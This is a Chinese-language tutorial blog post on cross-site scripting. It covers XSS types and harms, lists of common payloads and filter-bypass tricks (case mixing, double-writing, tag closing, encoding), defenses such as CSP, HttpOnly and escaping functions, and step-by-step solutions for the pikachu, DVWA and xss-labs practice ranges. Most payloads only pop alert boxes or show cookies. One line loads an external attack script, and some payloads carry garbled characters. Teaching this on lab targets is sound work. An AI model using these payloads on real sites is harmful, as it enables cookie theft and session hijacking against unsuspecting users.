OWASP 之跨站脚本xss基础技能

OWASP 之跨站脚本xss基础技能

  • 一.XSS概述
  • 二.漏洞危害
  • 三.XSS漏洞绕过方法
    • 1.手工测试XSS步骤
    • 2.常见xss
    • 3.绕过方法
  • 四.xss防御方法
    • a.CSP内容安全策略
    • b.HttpOnly
    • c.输入输出检查
    • d.使用防御函数
  • 五.pikachu靶场
    • 1.反射型XSS(get)
    • 2.反射型XSS(post)
    • 3.存储型XSS
    • 4.DOM型XSS
    • 5.DOM型XSS-X
    • 6.xss盲打
    • 7.xss之过滤
    • 8.xss之htmlspecialchars
    • 9.xss之href输出
    • 10.xss之js输出
  • 六.DVWA靶场
    • 1.LOW
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
    • 2.Midium
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
    • 3.High
      • (1)xss(Reflected反射型)
      • (2)xss(Dom)
      • (3)xss(Stored存储型)
  • 七.xss-labs靶场
    • 1.LV1
    • 2.LV2
    • 3.LV3
    • 4.LV4
    • 5.LV5
    • 6.LV6
    • 7.LV7
    • 8.LV8
    • 9.LV9
    • 10.LV10

一.XSS概述

XSS中文叫做跨站脚本攻击(Cross-site scripting),本名应该缩写为CSS,但是由于CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(js)来完成恶意的攻击行为。
是一种经常出现在web应用中的计算机大全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?
XSS是指恶意攻击者利用网站对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者访问者进行病毒侵害的一种攻击方式。
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

二.漏洞危害

植入键盘记录器。
攻击受害者所在的局域网。
代理转发流经被攻击者的所有 Web 流量,即实施中间人攻击。
窃取或篡改应用 cookie 用于会话劫持。
更改被攻击者 Web 应用的显示内容。
绕过 CSRF 安全防护措施。
创建包含恶意 JavaScript 代码的虚假网站以及到该网站页面的链接。
发送嵌入恶意 Web URL 的电子邮件。
使用 URL 短码隐蔽真实 URL。

三.XSS漏洞绕过方法

1.手工测试XSS步骤

1、找到测试点(搜索框、留言板)
2、根据测试流程首先实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关的过滤。
例子:’<>?"&/6666
3、如果有过滤则进行相关的绕过

2.常见xss

<input onclick=alert(360)>
<input onfocus="alert('xss');">
<input onblur=alert("xss") autofocus><input autofocus>

<script>alert(1)</script>#最普通的xss
<script>alert(document.cookie)</script> #获取cookie
<script src='http://baidu.com/xss.js'></script>   # 外部攻击代码
<img src=x onerror=alert(/xss/)> #加载图形失败执行
<iframe onload=alert('xss')> #框架
<svg onload=alert(1)>
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<body onload=alert(1)>
<style onload=alert(1)></style>
<input onmouseover=alert(1)> (简单防绕过)	

3.绕过方法

</script><script>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt> 大小写绕过	
onfocus=javascript:alert('xss')	//事件绕过  		
<sc<script>ript>alert(/xss/)</script> 双写绕过	
oonnfocus=javascripscriptt:alert('xss')双写绕过
" oonnfocus=javascriscriptpt:alert('xss')>引号闭合+>双写绕过  	
``<script>alert(1)</script>反引号绕过(绕过单双引号的过滤)
"> <script>alert(1)</script>关闭标签(利用<>关闭标签)          
<a href="javascript:alert('xss')">xss</a> #a链接的xss,E7.0|IE6.0,才能执行		
<img src=1 onerror=alert(1)> 图片链接绕过	
"><a href="javascript:alert('xss')">xss</a>关闭标签链接绕过
"><ScRiPt>alert(1)</ScRiPt> 大小写加关闭标签绕过

四.xss防御方法

a.CSP内容安全策略

CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

b.HttpOnly

HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Jsese读取到Cookie,但即使设置了HtpOnly属性,也仍有方法获取到Cokie值。如:
CVE-2012-0053、PHPINFO页面/、Flash/Java API

c.输入输出检查

常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

d.使用防御函数

trim() 	//函数从字符串的两端删除空白字符和其他预定义字符
stripslashes() 	//删除反斜杠
substr_replace(st1,st2,n) //str1 为原始字符串,str2为替换的字符串,n代表替换位置,第n位之后替换
addslashes() 		//在预定义字符之前添加反斜杠的字符串
strip_tags() 		//剥去字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars()//把预定义的字符转换为 HTML 实体

五.pikachu靶场

1.反射型XSS(get)

反射型也称为非持久型,这种类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中。
在这里插入图片描述

F12找到源码位置
在这里插入图片描述

发现可以直接修改maxlength,将其改大点输入payload
payload:

<script>alert('xss')</script><script>alert(document.cookie);</script>

效果:
在这里插入图片描述

2.反射型XSS(post)

在这里插入图片描述

输入用户名密码admin 123456
在这里插入图片描述

使用<script>alert(document.cookie);</script>提交
在这里插入图片描述

弹出对话框说明注入成功,成功获取cookie

3.存储型XSS

攻击者将已经构造完成的恶意页面发送给用户,用户访问看似正常的页面后收到攻击,这类XSS通常无法直接在URL中看到恶意代码,具有较强的持久性和隐蔽性。
在这里插入图片描述

输入payload提交:<script>alert("xss")</script>
在这里插入图片描述

会弹出对话框,同时保存一条信息到留言列表
在这里插入图片描述

再次输入任意留言都会自动弹框
在这里插入图片描述

说明成功注入
在这里插入图片描述

此外在页面切换,然后再次切换回来,发现弹窗依然存在,说明我们输入的语句已经被存储起来。
这就是存储性与反射性永久性和一次性的区别,会永久的存储在数据库中。

4.DOM型XSS

什么时DOM
简单来说DOM文档就是一份XML文档,当有了DOM标准之后,DOM便将前端html代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端,所以DOM型xss在js前端自己就可以完成数据的输入输出,不与服务器产生交互,这样来说DOM型xss也可以理解为反射性xss。

尝试输入123,F12定位代码what do you see?
在这里插入图片描述

然后输入

'><img src="#" οnmοuseοver="alert('xss')">或
' onclick="alert('xss')">

在这里插入图片描述

构造之后的完成语句:
<a href= ’ ’ οnclick=’ ’ alert(’ xss’ )’ ’ >’ >what do you see?
说明完成闭合οnclick=" alert(’ xss’ )" >>what do you see?是另一个语句了
'>what do you see?
点击它会出现弹框,说明注入成功
在这里插入图片描述

5.DOM型XSS-X

在这里插入图片描述

可以看出仍然使用了字符串拼接
此处我们同样输入payload:

'><img src="#" οnmοuseοver="alert('xss')">或
' onclick="alert('xss')">

构造闭合
注入后要点击两次才能看到弹框
在这里插入图片描述

在这里插入图片描述

6.xss盲打

XSS盲打:它不是一种XSS漏洞的类型,它其实是一种XSS一种的攻击场景。
payload:<script>alert('xss')</script>
在这里插入图片描述

提交后转到提示给出的网址
在这里插入图片描述

登录后发现被注入了,说明攻击成功

在这里插入图片描述

7.xss之过滤

显然做了过滤,需要想办法绕过,让其输出不一样的语句
在这里插入图片描述

payload:使用大小写绕过:<scriPt>alert('xss')</scriPt>
在这里插入图片描述

或者

></SCRIPT>>><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

在这里插入图片描述

其中88,83,83是xss的ascii编码

8.xss之htmlspecialchars

**htmlspecialchars() 函数:**把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体,把 < 和 > 转换为实体常用于防止浏览器将其用作 HTML 元素。
该函数默认不过滤单引号,只有设置才可以过滤单引号;
在这里插入图片描述

payload:'onclick='alert("xss")'
输入后点击弹框
在这里插入图片描述

而其他的输入点击都会跳到如下界面,可见引号起到了闭合的作用
onclick用法:按钮文本
或链接<a href = οnclick=“执行的 PHP 代码”>
在这里插入图片描述
在这里插入图片描述

9.xss之href输出

在这里插入图片描述

绕js:payload:javascript:alert(“xss”)
在这里插入图片描述

10.xss之js输出

在这里插入图片描述
在这里插入图片描述

由于这里将输入都动态转成了javascript,因此先将script闭合可以实现注入
payload:</script><script>alert("xss")</script>

六.DVWA靶场

1.LOW

在这里插入图片描述

(1)xss(Reflected反射型)

在这里插入图片描述

没有过滤,Hello后面直接加payload
payload:<script>alert("xss")</script>
在这里插入图片描述

(2)xss(Dom)

由于是get表单提交方式:在url后面直接追加payload:<script>alert("xss")</script>
在这里插入图片描述

(3)xss(Stored存储型)

也是没有过滤:在message输入payload
payload:<script>alert("xss")</script>
在这里插入图片描述
在这里插入图片描述

2.Midium

在这里插入图片描述

(1)xss(Reflected反射型)

发现把script去掉了
在这里插入图片描述

使用双写绕过:<sc<script>ript>alert(/xss/)</script>
在这里插入图片描述

或大小写绕过:<ScRiPt>alert(“xss”)</ScRiPt>
在这里插入图片描述

(2)xss(Dom)

直接追加payload的方法行不通了,应该是script被过滤了
在这里插入图片描述
在这里插入图片描述

针对此处做构造,首先闭合option,然后闭合select
图片链接绕过payload:</option></select><img src=1 onerror=alert("xss")>
(或使用超链接标签绕过也行)
在这里插入图片描述

(3)xss(Stored存储型)

这个也是一样,script被去掉了,而且引号被转义了
在这里插入图片描述

发现所有方法都不行,改变方向使用name做为注入点,首先修改长度
在这里插入图片描述

Name处输入payload:<script>alert(‘xss’)</script>
在这里插入图片描述

3.High

在这里插入图片描述

(1)xss(Reflected反射型)

发现所有的绕过方法都没用
使用图片链接绕过:<img src=1 onerror=alert(‘xss’)>
在这里插入图片描述

(2)xss(Dom)

#<script>alert("xss")</script>

回车刷新下页面,
#代表网页中的一个位置。其右面的字符,就是该位置的标识符。比如,http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后,会自动将print位置滚动至可视区域。起到跳转的作用
在这里插入图片描述

(3)xss(Stored存储型)

七.xss-labs靶场

1.LV1

看不到输入栏,只能在url拼接payload

<script>alert(1)</script>

在这里插入图片描述

2.LV2

关闭标签绕过payload:”><script>alert(1)</script>
在这里插入图片描述

3.LV3

可选payload:

' οnmοuseοver='alert(/xss/)
' οnclick='alert(/xss/)

在这里插入图片描述

4.LV4

发现<>都被去掉了,怎么办
在这里插入图片描述

这是对上一题的升级了,单引号换成了双引号

" οnmοuseοver="alert(/xss/) 

在这里插入图片描述
在这里插入图片描述

5.LV5

什么情况左边的script多了一个_,完全不知道怎么继续下去了

在这里插入图片描述

可以发现script和onclick都被过滤了
构造一个新的链接:"><a href=javascript:alert('xss')>xss</a>,点击xss
在这里插入图片描述

6.LV6

大小写加关闭标签绕过:"><ScRiPt>alert(1)</ScRiPt>
在这里插入图片描述

7.LV7

使用双写绕过:oonnfocus=javascripscriptt:alert('xss')
使用引号闭合+>双写绕过" oonnfocus=javascriscriptpt:alert('xss')>
在这里插入图片描述
在这里插入图片描述

8.LV8

所有的方法都不行,考虑用编码绕过,先将里的javascript:alert(‘xss’)转成unicode编码
javascript:alert(‘xss’)
否则的话javascript会变成javascr_ipt
在这里插入图片描述

9.LV9

输入javascript:alert('xss')链接也被过滤了
在这里插入图片描述

输入:javascript:alert('xss')'http://www.baidu.com'
在这里插入图片描述

和之前一样javascript被过滤了,编码试下
javascript:alert('xss')//http://www.baidu.com
在这里插入图片描述

10.LV10

通过观察三个隐藏标签得知需要给t_sort赋值才不报错

&t_sort=" type="text" οnclick="alert('xss')

在这里插入图片描述
在这里插入图片描述
免责声明:
本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。
本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。
本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。
本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。
最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/29695.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

通过使用动态ip解决网络连接问题

互联网的使用已经成为我们生活中不可或缺的一种生活方式。但是&#xff0c;有时候我们会遇到网络连接问题&#xff0c;如IP地址冲突、网络瘫痪等等。这种情况往往会影响我们的工作&#xff0c;现在我们一般使用动态ip地址来解决这些问题。 一、什么是动态ip地址 动态IP地址是由…

浏览器插件 | Font Picker - 网页字体识别工具

目录 软件简介 Font Picker插件背景 Font Picker插件离线安装教程 Font Picker 小结 软件简介 Font Picker 插件是一款用于 Chrome 浏览器的字体选择器&#xff0c;这种网页字体识别工具看起来非常的干净&#xff0c;使用起来也十分的简单。本文提供Font Picker网页字体…

计算机网络通信过程

欢迎关注博主 Mindtechnist 或加入【Linux C/C/Python社区】一起学习和分享Linux、C、C、Python、Matlab&#xff0c;机器人运动控制、多机器人协作&#xff0c;智能优化算法&#xff0c;滤波估计、多传感器信息融合&#xff0c;机器学习&#xff0c;人工智能等相关领域的知识和…

【C++】4.websocket:websocketpp安装与使用

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍websocketpp的安装与使用。 学其所用&#xff0c;用其所学。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&#xff0c;下次更新不迷…

【每日挠头算法题(9)】二叉树的直径|二叉树的层序遍历

文章目录 一、二叉树的直径思路&#xff1a;二叉树的深度优先搜索具体代码如下&#xff1a; 二、二叉树的层序遍历思路&#xff1a;借助队列实现具体代码如下&#xff1a; 总结&#xff1a; 一、二叉树的直径 点我直达~ 思路&#xff1a;二叉树的深度优先搜索 根据题目要求&a…

SpringBoot(基础篇)

SpringBoot基础篇 入门案例 在创建SpringBoot项目时&#xff0c;会出现以下不需要的文件&#xff0c;如果每次都手动删除的话&#xff0c;就会很麻烦。 教你一招 在setting设置中找到Editor&#xff0c;选择File Types–>Ignored Files and Folders–>点击号&#xff…

【cutlass】cuTe layout操作

简介 cuTe提供了对Layout操作的算法&#xff0c;可以混合执行来构建更复杂的Layout操作&#xff0c;比如在其他layout之间切分和平铺layout 在host或者device上打印cuTe cuTe的打印函数可以在host和device端打印。cute::print 重载了几乎所有 CuTe 类型&#xff0c;包括指针…

PostgreSQL数据库分区裁剪——enable_partition_pruning

在PostgreSQL 10版本之前&#xff0c;PostgreSQL数据库实际上是没有单独的创建分区表的DDL语句&#xff0c;都是通过表继承的原理来创建分区表&#xff0c;这样使得在PostgreSQL中使用分区表不是很方便&#xff0c;到PostgreSQL 10之后&#xff0c;PostgreSQL扩展了创建表的DDL…

AI - stable-diffusion 艺术化二维码

系列文章&#xff1a; 《AI - stable-diffusion(AI 绘画)的搭建与使用》《AI - AI 绘画的精准控图(ControlNet)》 一、介绍 近日&#xff0c;AI 绘画&#xff08;stable-diffusion&#xff09;用来艺术化二维码算是比较火热的事了&#xff0c;这个 idea 是由国人用 Checkpoi…

【tensorflow】连续输入的线性回归模型训练代码

【tensorflow】连续输入的感知机模型训练 全部代码 - 复制即用 训练输出 代码介绍 查看本系列三种模型写法&#xff1a;   【tensorflow】连续输入的线性回归模型训练代码   【tensorflow】连续输入的神经网络模型训练代码   【tensorflow】连续输入离散输入的神经网络模…

常用JVM命令

top 展示 进程运行的完整命令行的话可以用 top -c &#xff0c;当命令行较长无法分辨是哪个程序&#xff0c;可使用键盘右键将窗口不断滑动至右侧查看。 uptime jps 查看当前正在运行的java进程 执行结果&#xff1a; pid 运行文件 [roottest1 ~]# jps 24001 rs-medical-rp…

DBeaver连接SQLite数据库

一、前言 SQLite小巧轻便的开源免费关系型数据库&#xff0c;适合嵌入单机应用随身携带。桌面版推荐使用DBeaver。 官网&#xff1a;SQLite Download Page github&#xff1a;GitHub - sqlite/sqlite: Official Git mirror of the SQLite source tree 类似的开源免费且小巧…

WebGL前言——WebGL相关介绍

第一讲内容主要介绍WebGL技术和相应的硬件基础部分&#xff0c;在初级课程和中级课程的基础上&#xff0c;将技术和硬件基础进行串联&#xff0c;能够对WebGL从产生到消亡有深刻全面的理解。同时还介绍WebGL大家在初级课程和中级课程中的一些常见错误以及错误调试的办法。 1.1…

Jmeter常用参数化技巧总结!

说起接口测试&#xff0c;相信大家在工作中用的最多的还是Jmeter。 JMeter是一个100&#xff05;的纯Java桌面应用&#xff0c;由Apache组织的开放源代码项目&#xff0c;它是功能和性能测试的工具。具有高可扩展性、支持Web(HTTP/HTTPS)、SOAP、FTP、JAVA 等多种协议。 在做…

Shell脚本文本三剑客之sed编辑器

目录 一、sed编辑器简介 二、sed工作流程 三、sed命令 四、sed命令的使用 1.sed打印文件内容&#xff08;p&#xff09; &#xff08;1&#xff09;打印文件所有行 &#xff08;2&#xff09;打印文件指定行 2.sed增加、插入、替换行&#xff08;a、i、c&#xff09; …

Git工作流(随笔)

目录 前言 一、工作流概述 1、概念 2、分类 二、集中式工作流 1、概述 2、介绍 3、操作过程 三、功能分支工作流 1、概述 2、介绍 3、操作过程 1&#xff09;创建远程分支 2&#xff09;删除远程分支 四、GitFlow工作流 1、概述 2、介绍 3、操作过程 五、Forki…

管理类联考——英语二——知识篇——写作——题目说明——A节

MBA&#xff0c;MPA&#xff0c;MPAcc管理类联考英语写作部分由A&#xff0c;B两节组成&#xff0c;主要考查考生的书面表达能力。共2题&#xff0c;25分。A节要求考生根据所给情景写出约100词(标点符号不计算在内)的应用文&#xff0c;包括私人和公务信函、通知、备忘录等。共…

Get请求参数过多导致请求失败

1. 问题 系统正常使用没有问题&#xff0c;但是有极个别的用户出现系统异常&#xff0c;通过日志发现某个get请求&#xff0c;传入的城市list太多&#xff0c;就会抛出异常 java.lang.ClassCastException: java.lang.String cannot be cast to java.util.Map。 2. 排查过程 …

Vue中如何进行游戏开发与游戏引擎集成?

Vue中如何进行游戏开发与游戏引擎集成&#xff1f; Vue.js是一款流行的JavaScript框架&#xff0c;它的MVVM模式和组件化开发思想非常适合构建Web应用程序。但是&#xff0c;如果我们想要开发Web游戏&#xff0c;Vue.js并不是最合适的选择。在本文中&#xff0c;我们将介绍如何…

【java】使用 BeanUtils.copyProperties 11个坑(注意事项)

文章目录 背景第1个坑&#xff1a; 类型不匹配第2个坑: BeanUtils.copyProperties是浅拷贝第3个坑&#xff1a;属性名称不一致第4个坑&#xff1a;Null 值覆盖第5个坑&#xff1a;注意引入的包第6个坑&#xff1a;Boolean类型数据is属性开头的坑第7个坑&#xff1a;查找不到字段…